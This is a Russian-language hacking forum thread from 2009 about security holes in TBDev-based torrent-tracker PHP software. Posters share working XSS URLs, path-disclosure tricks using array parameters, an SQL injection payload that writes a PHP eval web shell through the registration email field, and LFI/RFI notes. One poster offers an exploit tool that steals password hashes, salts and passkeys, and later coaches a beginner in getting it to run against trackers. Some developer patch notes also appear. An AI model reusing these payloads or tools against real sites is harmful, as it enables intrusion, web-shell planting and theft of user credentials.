два - у тебя хрень такая - name="something[]" и так несколько чекбоксов - на выходе этого МАССИВА НЕ БУДЕТ
2 Yuna, *scratch* ты это, с кем говорил?
Stinside
15.08.2009, 13:02
name="something[]"
Давно уже не работает вообще-то.
что давно не работает? вы хоть понимаете зачем нужна такая конструкция? или смысл моего поста
Ребят, хватит юну мучать, он прекрасно знает, где и какие дырки.
Давайте меня помучайте: http://dev.kinokpk.com/releases/Kinokpk.com_releaser_v.2.70.7z
Ребят, хватит юну мучать, он прекрасно знает, где и какие дырки.
Давайте меня помучайте: http://dev.kinokpk.com/releases/Kinokpk.com_releaser_v.2.70.7z Для таких обращений есть специальный раздел :)
Тут выкладывают то что сами нашли.
HAXTA4OK
22.08.2009, 00:45
КЫСС (XSS)
<form action="<?=$PHP_SELF;?>" method="get" name="form1">
http://127.0.0.1/treker/formats.php/%22%3E%3Cscript%3Ealert(/hi/);%3C/script%3E
что можно сделать если есть доступ к директорскому аку но нету доступа к админке (к блокам) как можно шелл залить?
ILYAtirtir
24.08.2009, 16:49
Если у юзера в mysql есть права на запись,то в регистрации например вместо email вписываешь
'+union+select+'<? eval($a); ?>'+into+otfile+'C:/blablabla/1.php'/*
Вместо eval можно окно для загрузки,кто-то выкладывал вроде.
Вместо blablabla пишешь путь который тебе нужен,взять можно из ошибки. Например
http://site.ru/torrent/details.php?id[]=11111 Или в начале темы там выкладывали раскрытия путей.
У меня было один раз что "+" не катил,заменял на /**/.Так же если комментарий "/*" не катит,заменяй на -- или #
Если у юзера в mysql есть права на запись,то в регистрации например вместо email вписываешь
этот баг закрыт ваще-то уже...
ZonD80, а ты че? :) делай тему =))) может я еще не все знаю? :)
HAXTA4OK
26.08.2009, 23:29
тема тухнет ,вроде небыло этого раскрытия путей )))
http://127.0.0.1/treker/log.php?type[]=
http://127.0.0.1/treker/friends.php?action=delete&type[]=&targetid=2
http://127.0.0.1/treker/browse.php?search[]=&incldead=0&cat=0
какие баян напишите плиз =) а то все 21 страниц заново смареть лень :confused:
тема тухнет ,вроде небыло этого раскрытия путей )))
http://127.0.0.1/treker/log.php?type[]=
http://127.0.0.1/treker/friends.php?action=delete&type[]=&targetid=2
http://127.0.0.1/treker/browse.php?search[]=&incldead=0&cat=0
какие баян напишите плиз =) а то все 21 страниц заново смареть лень :confused:
Вот эта и на Kinokpk.com releaser
http://127.0.0.1/treker/log.php?type[]=
раскрытие путей
/testip.php?ip=>
С форумом простились, аминь!
Мелкие пакости правки, и прочее прочее прочее:
1. Переведены языковые файлики на ArrayAccess.
2. Блокировка скрипта если включен regsiter_globals или не забитыми всяким хламом переменными
3. Привязка кукисов к подсети 255.255.0.0
4. Еще всякие мелочки, кому надо - diff в помощь
http://bit-torrent.kiev.ua/downloads.php?do=file&id=25
Собственно,понятия не имею было,или небыло,но когда рылся в коде дивжка,для самообразования,нашол:
http://target.com/rss.php?feed=dl&cat=31&passkey[]=
Раскрытие путей.
И еще,незнаю будет ли работать гдето еще,ибо нет желания тестировать,но трекеры в моей локальной сети точно подвержены:
http://good73.net/getrss.php
При нажатии сабмита имеем POST данные:
cat%5B%5D=22&cat%5B%5D=20&cat%5B%5D=12&feed=web&login=passkey
Так вот,если просто повторить запрос,использовав при этом urlencode()(как в примере),получим раскрытие путей:
Warning: implode() [function.implode]: Invalid arguments passed in /usr/local/www/target.com/getrss.php on line 56
Извиняюсь что в несколько постов,просто в данный момент пишу с нетбука,который очень меня напрягает.
Все знают,про такую кнопку как "Спасибо",так вот,сабмитим ее,и имеем POST-данные вида:
torrentid=33042&ajax=yes
Создаем в качестве ajax,массив,с темже именем,то есть:
torrentid=33042&ajax[]=yes
Меня выкидывало на ошибку MySQL.Незнаю,возможно есть шанс раскрутить в скулю,но я в этом не силен.Это я оставлю на ваш тест :)
Создаем в качестве ajax,массив,с темже именем,то есть:
$ajax = (string) $_POST["ajax"];
а ошибка ибо уникальные индексы
Gray_Wolf
29.09.2009, 11:06
по моему тут все равно есть баги
Но в паблик их врядли станут выкладывать :)
HAXTA4OK
29.09.2009, 11:22
Ну лан спалю одын приват =) на те старые версии
куча LFI & RFI =) мб и не приват
к примеру файл recover.php
require "include/bittorrent.php";
dbconn();
if ($_SERVER["REQUEST_METHOD"] == "POST")
{
подгружает файлик bittorrent.php а в нем
if (empty($rootpath))
$rootpath = ROOT_PATH;
require_once($rootpath . 'include/core.php');
?>
если прочесть его, то по смыслу ,если $rootpath не пустой ,тогда такой $rootpath = ROOT_PATH; замены не будет; и значит - уязвим :) надеюсь я правильно его прочел))
При REGISTER_globals = on и MQ= off
http://127.0.0.1/treker/recover.php?rootpath='%00
Warning: require_once(') [function.require-once]: failed to open stream: No such file or directory in C:\xampp\htdocs\treker\include\bittorrent.php on line 57
файлы имеющие такую особенность :
faq.php
recover.php
bookmarks.php
rules.php
download.php
....по моему почти все =\
Раскрытие путей :
так как mysql_real_escape_string function sqlesc($value) {
// Stripslashes
/*if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}*/
// Quote if not a number or a numeric string
if (!is_numeric($value)) {
$value = "'" . mysql_real_escape_string($value) . "'";
}
return $value;
}
captcha.php?imagehash[]=
Warning: mysql_real_escape_string() expects parameter 1 to be string, array given in C:\xampp\htdocs\treker\include\functions.php on line 462
гуглом поискал не нашел))
еще раскрытие путей
$pic = htmlspecialchars($_GET["pic"]);
stdhead("Просмотр картинки");
print("<h1>$pic</h1>\n");
print("<p align=center><img src=\"torrents/images/$pic\"></p>\n");
?>
viewimage.php?pic[]=
для меня это как два года боян, два - я указываю что отключайте регистер глобалс, не отключили - их личные проблемы ;)
Rostov114
02.10.2009, 15:36
:D Что же подольем немного масла. Слоит v3.3.
На данный момент он умеет обходить:
Коды регистрации
Запросы инвайтов
Бан по IP
Совершает атаки через:
./rss.php (слепая SQL, ибо запись файла не айс)
./requests.php
./takesignup.php
./check_signup.php
./viewoffers.php
./sendbonus.php
./bonuscode.php
Форум
Также имеет 2 способа работы:
Multi mode - атака по всем файлам, в том числе авторигистрация.
Login exploit mode - работает только с логином и пассом.
Добавлено и доработано:
Получение всех IP адресов сайта и подключение
Если не верно указан хост то сплоит и не начнет работу.
Получение: соли, пассхеша, пасскея и инфы привязан ли пасскей к IP
Если в конце адреса трекера не был указан слеш, то теперь сплоит с ума не сходит
Вывод каким методом сплоит будет атаковать (чисто для информации)
В данный релиз не вошло следующие веши и также были удалены
Генерация приятных уху никнеймов
Удалена атака через rss.php - file record
В связи с тем что форум не захотел отобразить не маленький сплоит. Пришлось его загрузить на отдельный сервер. Взять его можете здесь (http://audi100aar.narod.ru/sqltbdev_3_3/tbdev2sql.html)
Если по каким то причинам данный скрипт у вас не запускается, виноваты вы. Он рабочий, проверялся на оригинальном TBDev 2.0.
Внимание: Данная программа выложена здесь для ознакомления.
Автор не несёт ответственности за негативные последствия, причинённые данной программой в результате правильного или неправильного её использования.
Также автор не несет ответственности за причерченный вред кому либо данной программой.
;) Чтож, прикрываем оперативно дырки.
sendbonus, bonuscode?????? WTF?
Как вы поясните собираетесь обходить $b = get_row_count("captcha", "WHERE imagehash = ".sqlesc($_POST["imagehash"])." AND imagestring = ".sqlesc($_POST["imagestring"]));?
Даже если оба 0000000 и 0 - строчек-то тоже 0!
Rostov114
02.10.2009, 23:14
sendbonus, bonuscode?????? WTF?
Как вы поясните собираетесь обходить $b = get_row_count("captcha", "WHERE imagehash = ".sqlesc($_POST["imagehash"])." AND imagestring = ".sqlesc($_POST["imagestring"]));?
Даже если оба 0000000 и 0 - строчек-то тоже 0!
Да. Если включен error_reporting. То вывалиться ошибка, по которой уже можно судить, тому ли равна данная позиция или нет.
Хм... ну у нас выходит запрос вида:
SELECT COUNT(*) FROM captcha WHERE imagehash = 'принятый_imagehash' AND imagestring = 0
:) Чесно не вникал как MySQL обрабатывает данный запрос, но по моему он хватает только 1й параметр а т.к. второй 0 отбрасывает.
Кстати, бага такого же вида и на инвайтах. Есть ведь супер инвайт в 32 нуля...и работает ведь.
Кстати, бага такого же вида и на инвайтах. Есть ведь супер инвайт в 32 нуля...и работает ведь.
ну не работет ведь блин! :) проверь =))) tracker.hdclub.com.ua uniongang.ru
Чесно не вникал как MySQL обрабатывает данный запрос, но по моему он хватает только 1й параметр а т.к. второй 0 отбрасывает.
фулл бред, зачем тогда придумывали SQL?
Rostov114
03.10.2009, 22:50
ну не работет ведь блин! :) проверь =))) tracker.hdclub.com.ua uniongang.ru
фулл бред, зачем тогда придумывали SQL?
1. Не работает, согласен, если в SQL запросе не стоит '', то тогда да облом.
2. Я же говорил, я не вникал как MySQL обрабатывает данный запрос.
А то что твои "обходники" НЕ РАБОТАЮТ!
Rostov114
04.10.2009, 05:38
А то что твои "обходники" НЕ РАБОТАЮТ!
:) Ну у меня в локалке работают на ура.
Только там большинство стоит на Windows и сервером является TopServer.
Видимо у них или очень старая версия, или что-то еще хуже =))
Два - ты не знал что если открыта рега но включена инвайтная рега - тебя будет просить ввести инвайт но если введеш на него забьет? ;)
Так-что проверь еще раз ;)
Rostov114
04.10.2009, 15:08
Видимо у них или очень старая версия, или что-то еще хуже =))
Два - ты не знал что если открыта рега но включена инвайтная рега - тебя будет просить ввести инвайт но если введеш на него забьет? ;)
Так-что проверь еще раз ;)
TBDev.18.05.07.zip (2,49 MB) :) У нас в основном такая древность стоит.
TBDev.18.05.07.zip (2,49 MB) У нас в основном такая древность стоит.
а на свежестях? :)
X_Hunter
04.10.2009, 18:07
Хотел запустить сплойт на 3 разных пхп - везде одна и таже ошибка:
PHP Fatal error: Call to undefined function dns_get_record() in C:\sql.php on line 448
Rostov114
04.10.2009, 18:59
Хотел запустить сплойт на 3 разных пхп - везде одна и таже ошибка:
PHP Fatal error: Call to undefined function dns_get_record() in C:\sql.php on line 448
:) Не поддерживается значит в PHP работа с DNS.
а на свежестях? :)
:) Последнюю, согласен не прошибает.
И вообще давай жить дружно ^_^.
P.S. Кстати, а форум phpBB 3.0 прикрутить нельзя что ли?
:) Не поддерживается значит в PHP работа с DNS.
Уважаемый Rostov114 Есть ли другие варианты??? :confused: :confused: :confused:
Rostov114
05.10.2009, 19:21
:) Не поддерживается значит в PHP работа с DNS.
Уважаемый Rostov114 Есть ли другие варианты??? :confused: :confused: :confused:
Эм...просто посмотреть сплоит 3.0 и снести к чертям данную функцию.
Ув.Rostov114
Я начинающий не могли бы вы показать код который надо удалить...
Я убрал этот$result = dns_get_record($host, $type);
и после этого он постоянно писал: A host tracker.com not found!
Тобишь кажется сплоит не работает (((
:confused: :confused: :confused: :confused:
Ув.Rostov114
Я начинающий не могли бы вы показать код который надо удалить...
Я убрал этот$result = dns_get_record($host, $type);
и после этого он постоянно писал: A host tracker.com not found!
Тобишь кажется сплоит не работает (((
:confused: :confused: :confused: :confused:
ну если убрал днс тогда пробуй по айпи
У меня такой вопрос:
хеш закодирован как: md5($salt.$pass.$salt);
откуда собственно брать соль?
посмотрел в базе, есть только password и passkey.
ну если убрал днс тогда пробуй по айпи
Анаогично пишет: A host not found! :confused: :confused: :confused: :confused:
Rostov114
06.10.2009, 02:59
ну если убрал днс тогда пробуй по айпи
У меня такой вопрос:
хеш закодирован как: md5($salt.$pass.$salt);
откуда собственно брать соль?
посмотрел в базе, есть только password и passkey.
secret - соль
Ув.Rostov114
Я начинающий не могли бы вы показать код который надо удалить...
Я убрал этот$result = dns_get_record($host, $type);
и после этого он постоянно писал: A host tracker.com not found!
Тобишь кажется сплоит не работает (((
:confused: :confused: :confused: :confused:
:) Тогда встречный вопрос, зачем лезть на трекер конкурента?
А вообще, найти:
$ips = getaddrbyname($u['host']);
И заменить на
$ips = array(0 => $u['host']);
Или
$ips = gethostbynamel($u['host']);
:
P.S. Кстати, а форум phpBB 3.0 прикрутить нельзя что ли?
http://bit-torrent.kiev.ua/ntegratsiia_foruma_phpbb3-t5290/index.html?t=5290
http://www.nulled.ws/showthread.php?t=115695
Свеженьких два билда :)
17.10.09
1. Исправлена XSS в browse.php
2. Исправление проблемы пропадания расширения у картинки, если оно состояло из 4-х символов (.jpeg)
3. Мелкие правки
17.10.09-r2
1. Исправлена уязвимость позволявшая перехватить логин пароль и имя доступа к БД
скачать, как всегда (http://bit-torrent.kiev.ua/downloads.php?do=file&id=25)
Rostov114
19.10.2009, 15:21
http://bit-torrent.kiev.ua/ntegratsiia_foruma_phpbb3-t5290/index.html?t=5290
http://www.nulled.ws/showthread.php?t=115695
...
Имеется в виду официальный билд.
Раскрытие путей
simpaty.php?action=add&good&targetid[]=2&type=torrent100&returnto[]=
А я говорил что SVN запустил? :)
http://svn.bit-torrent.kiev.ua:8080/
Можете на дырки проверить? :)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot